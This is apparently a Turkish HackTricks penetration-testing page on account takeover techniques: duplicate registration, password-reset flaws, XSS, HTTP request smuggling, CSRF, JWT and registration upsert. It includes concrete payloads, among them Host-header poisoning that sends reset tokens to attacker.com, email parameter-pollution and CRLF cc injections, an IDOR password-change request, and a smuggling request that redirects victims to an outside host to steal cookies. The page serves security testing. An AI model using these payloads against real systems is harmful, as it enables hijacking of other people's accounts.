Kayıt ve Hesap Ele Geçirme Zafiyetleri
Reading time: 7 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Kayıt Üzerinden Hesap Ele Geçirme
Yinelenen Kayıt
- Mevcut bir kullanıcı adı kullanarak oluşturmaya çalışın
- E-posta varyasyonlarını kontrol edin:
- büyük harf kullanımı
- +1@
- e-postaya nokta ekleme
- e-posta isminde özel karakterler (%00, %09, %20)
- E-posta sonrasına boş karakterler koyun:
test@test.com a
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
Kullanıcı Adı Tespiti
Uygulama içinde bir kullanıcı adının zaten kayıtlı olup olmadığını tespit edip edemeyeceğinizi kontrol edin.
Parola Politikası
Kullanıcı oluştururken parola politikasını kontrol edin (zayıf parolalar kullanıp kullanamayacağınızı test edin).
Bu durumda credentials üzerinde bruteforce deneyebilirsiniz.
SQL Injection
Check this page kayıt formlarında hesap ele geçirme veya bilgi çıkarmak için SQL Injections kullanmayı öğrenin.
Oauth Takeovers
SAML Zafiyetleri
E-posta Değiştirme
Kayıtlıyken e-postayı değiştirmeyi deneyin ve bu değişikliğin doğru şekilde doğrulanıp doğrulanmadığını veya rastgele e-posta adreslerine değiştirilebilip değiştirilemeyeceğini kontrol edin.
Diğer Kontroller
- tek kullanımlık e-postalar kullanıp kullanamayacağınızı kontrol edin
- Uzun parola (>200) DoS'a yol açar
- Hesap oluşturma için rate limits'ı kontrol edin
- username@burp_collab.net kullanın ve callback'i analiz edin
Parola Sıfırlama ile Hesap Ele Geçirme
Parola Sıfırlama Token Leak Via Referrer
- E-posta adresinize parola sıfırlama isteği gönderin
- Parola sıfırlama linkine tıklayın
- Parolayı değiştirmeyin
- Herhangi bir 3rd party siteye tıklayın (örn: Facebook, twitter)
- İsteği Burp Suite proxy ile yakalayın
- Referer header'ının password reset token'ı leak edip etmediğini kontrol edin.
Password Reset Poisoning
- Parola sıfırlama isteğini Burp Suite ile yakalayın
- Burp Suite'te aşağıdaki header'ları ekleyin veya düzenleyin:
Host: attacker.com
,X-Forwarded-Host: attacker.com
- Değiştirilmiş header ile isteği iletin
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
- Host header'ına dayalı bir parola sıfırlama URL'si arayın, örneğin:
https://attacker.com/reset-password.php?token=TOKEN
Parola Sıfırlama Email Parametresi Üzerinden
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
IDOR API Parametreleri Üzerinde
- Saldırgan kendi hesabıyla giriş yapıp Şifre değiştir özelliğine gitmeli.
- Burp Suite'i başlatın ve isteği yakalayın
- Repeater sekmesine gönderin ve parametreleri düzenleyin : User ID/email
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
Zayıf Password Reset Token
Password reset token her seferinde rastgele oluşturulmuş ve benzersiz olmalıdır.
Token'ın süresinin dolup dolmadığını ya da her zaman aynı olup olmadığını belirlemeye çalışın; bazı durumlarda jenerasyon algoritması zayıftır ve tahmin edilebilir. Aşağıdaki değişkenler algoritma tarafından kullanılabilir.
- Timestamp
- UserID
- Email of User
- Firstname and Lastname
- Date of Birth
- Cryptography
- Sadece sayı
- Küçük token dizisi ( characters between [A-Z,a-z,0-9])
- Token reuse
- Token expiration date
Leaking Password Reset Token
- Belirli bir e-posta için API/UI üzerinden şifre sıfırlama isteği tetikleyin, örn: test@mail.com
- Inspect the server response and check for
resetToken
- Then use the token in an URL like
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Password Reset Via Username Collision
- Hedefin kullanıcı adıyla aynı, ancak kullanıcı adının önüne ve/veya sonuna boşluk karakterleri eklenmiş bir kullanıcı adıyla sisteme kayıt olun. e.g:
"admin "
- Kötü amaçlı kullanıcı adınızla şifre sıfırlama isteği yapın.
- E-postanıza gönderilen token'ı kullanıp hedefin şifresini sıfırlayın.
- Yeni şifreyle hedef hesabına giriş yapın.
The platform CTFd was vulnerable to this attack.
See: CVE-2020-7245
Cross Site Scripting ile Hesap Ele Geçirme
- Uygulama içinde veya çerezler ana domain'e scope edilmişse bir alt alan adında XSS bulun :
*.domain.com
- Leak the current sessions cookie
- Çerezi kullanarak kullanıcı olarak kimlik doğrulaması yapın
HTTP Request Smuggling ile Hesap Ele Geçirme
1. HTTP Request Smuggling türünü tespit etmek için smuggler kullanın (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. POST / HTTP/1.1
üzerine aşağıdaki veri ile overwrite edecek bir istek oluşturun:
GET http://something.burpcollaborator.net HTTP/1.1 X:
amacı victimleri burpcollab'e open redirect ederek çerezlerini çalmaktır
3. Son istek şu şekilde görünebilir
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
Hackerone bu hatanın istismar edildiğini rapor ediyor
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666
CSRF ile Hesap Ele Geçirme
- CSRF için bir payload oluşturun, örn: “HTML form with auto submit for a password change”
- Payload'u gönderin
JWT ile Hesap Ele Geçirme
JSON Web Token bir kullanıcıyı doğrulamak için kullanılıyor olabilir.
- JWT'yi başka bir User ID / Email ile düzenleyin
- Zayıf JWT imzasını kontrol edin
JWT Vulnerabilities (Json Web Tokens)
Registration-as-Reset (Upsert on Existing Email)
Bazı signup handlers, sağlanan email zaten mevcutsa upsert gerçekleştirir. Eğer endpoint email ve password içeren minimal bir body kabul ediyor ve sahiplik doğrulamasını zorunlu kılmıyorsa, kurbanın email'ini göndererek onların password'ünü pre-auth olarak üzerine yazabilirsiniz.
- Discovery: bundled JS (veya mobil uygulama trafiği) üzerinden endpoint isimlerini toplayın, sonra ffuf/dirsearch kullanarak /parents/application/v4/admin/FUZZ gibi base path'leri fuzz edin.
- Method hints: "Only POST request is allowed." gibi mesaj dönen bir GET genellikle doğru verb'ü ve JSON body beklendiğini gösterir.
- Gerçek dünyada gözlemlenen minimal body:
{"email":"victim@example.com","password":"New@12345"}
Örnek PoC:
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
Etkisi: Herhangi bir reset token, OTP veya email verification gerektirmeden Full Account Takeover (ATO).
Referanslar
- How I Found a Critical Password Reset Bug (Registration upsert ATO)
- https://salmonsec.com/cheatsheet/account_takeover
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.